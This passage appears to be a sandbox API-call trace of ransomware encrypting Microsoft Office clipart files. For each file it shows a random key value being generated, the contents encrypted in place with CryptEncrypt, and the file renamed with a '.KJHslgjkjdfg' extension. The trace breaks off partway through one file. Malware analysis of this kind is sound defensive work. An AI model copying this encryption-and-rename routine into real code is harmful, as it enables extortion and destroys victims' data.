ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1511, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PARNT_10.MID", cAlternateFileName="")) returned 1 [0186.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.411] GetProcessHeap () returned 0x2a0000 [0186.411] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.411] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.411] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.411] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xf, lpOverlapped=0x0) returned 1 [0186.413] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.413] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.413] GetProcessHeap () returned 0x2a0000 [0186.413] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.413] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.413] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.413] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.413] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.413] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.413] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.414] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.414] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.414] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.414] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.414] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.414] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1511, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1511, lpOverlapped=0x0) returned 1 [0186.415] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1520, dwBufLen=0x1520 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1520) returned 1 [0186.415] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.415] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1520, lpOverlapped=0x0) returned 1 [0186.415] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.415] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x15f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.415] SetEndOfFile (hFile=0x114) returned 1 [0186.418] GetProcessHeap () returned 0x2a0000 [0186.418] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.418] GetProcessHeap () returned 0x2a0000 [0186.418] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.418] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid.kjhslgjkjdfg")) returned 1 [0186.420] CloseHandle (hObject=0x114) returned 1 [0186.420] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb480d800, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb480d800, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x6140, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00013_.WMF", cAlternateFileName="")) returned 1 [0186.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.422] GetProcessHeap () returned 0x2a0000 [0186.422] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.422] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.422] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.422] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.422] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.422] GetProcessHeap () returned 0x2a0000 [0186.422] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.423] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.423] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.423] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.425] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.425] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.425] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.425] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.425] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.425] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.425] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.425] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.425] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6140, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6140, lpOverlapped=0x0) returned 1 [0186.426] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6140, dwBufLen=0x6140 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6140) returned 1 [0186.427] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.427] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6140, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6140, lpOverlapped=0x0) returned 1 [0186.427] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.427] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.427] SetEndOfFile (hFile=0x114) returned 1 [0186.430] GetProcessHeap () returned 0x2a0000 [0186.430] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.430] GetProcessHeap () returned 0x2a0000 [0186.430] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.430] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00013_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00013_.wmf.kjhslgjkjdfg")) returned 1 [0186.432] CloseHandle (hObject=0x114) returned 1 [0186.432] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed5100, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0ed5100, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x411a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00014_.WMF", cAlternateFileName="")) returned 1 [0186.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00014_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.433] GetProcessHeap () returned 0x2a0000 [0186.433] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.433] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.433] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.433] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0186.435] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.435] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.435] GetProcessHeap () returned 0x2a0000 [0186.436] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.436] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.436] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.436] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.436] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.436] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.436] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.436] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.436] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.436] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.436] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.436] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.436] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x411a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x411a, lpOverlapped=0x0) returned 1 [0186.438] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4120, dwBufLen=0x4120 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4120) returned 1 [0186.438] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.438] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4120, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4120, lpOverlapped=0x0) returned 1 [0186.438] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.438] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x41f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.438] SetEndOfFile (hFile=0x114) returned 1 [0186.441] GetProcessHeap () returned 0x2a0000 [0186.441] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.441] GetProcessHeap () returned 0x2a0000 [0186.441] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.441] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00014_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00014_.wmf.kjhslgjkjdfg")) returned 1 [0186.442] CloseHandle (hObject=0x114) returned 1 [0186.443] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d5c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00034_.WMF", cAlternateFileName="")) returned 1 [0186.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00034_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.446] GetProcessHeap () returned 0x2a0000 [0186.446] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.446] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.446] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.446] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.448] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.448] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.448] GetProcessHeap () returned 0x2a0000 [0186.448] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.448] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.448] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.448] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.448] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.449] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.449] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.449] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.449] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.449] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.449] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.449] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.449] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3d5c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3d5c, lpOverlapped=0x0) returned 1 [0186.450] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d60, dwBufLen=0x3d60 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d60) returned 1 [0186.450] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.450] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3d60, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3d60, lpOverlapped=0x0) returned 1 [0186.451] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.451] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3e34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.451] SetEndOfFile (hFile=0x114) returned 1 [0186.453] GetProcessHeap () returned 0x2a0000 [0186.453] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.453] GetProcessHeap () returned 0x2a0000 [0186.453] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.453] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00034_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00034_.wmf.kjhslgjkjdfg")) returned 1 [0186.455] CloseHandle (hObject=0x114) returned 1 [0186.455] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f647900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f647900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00049_.WMF", cAlternateFileName="")) returned 1 [0186.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00049_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.456] GetProcessHeap () returned 0x2a0000 [0186.456] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.456] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.456] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.456] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.456] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.456] GetProcessHeap () returned 0x2a0000 [0186.456] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.456] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.456] 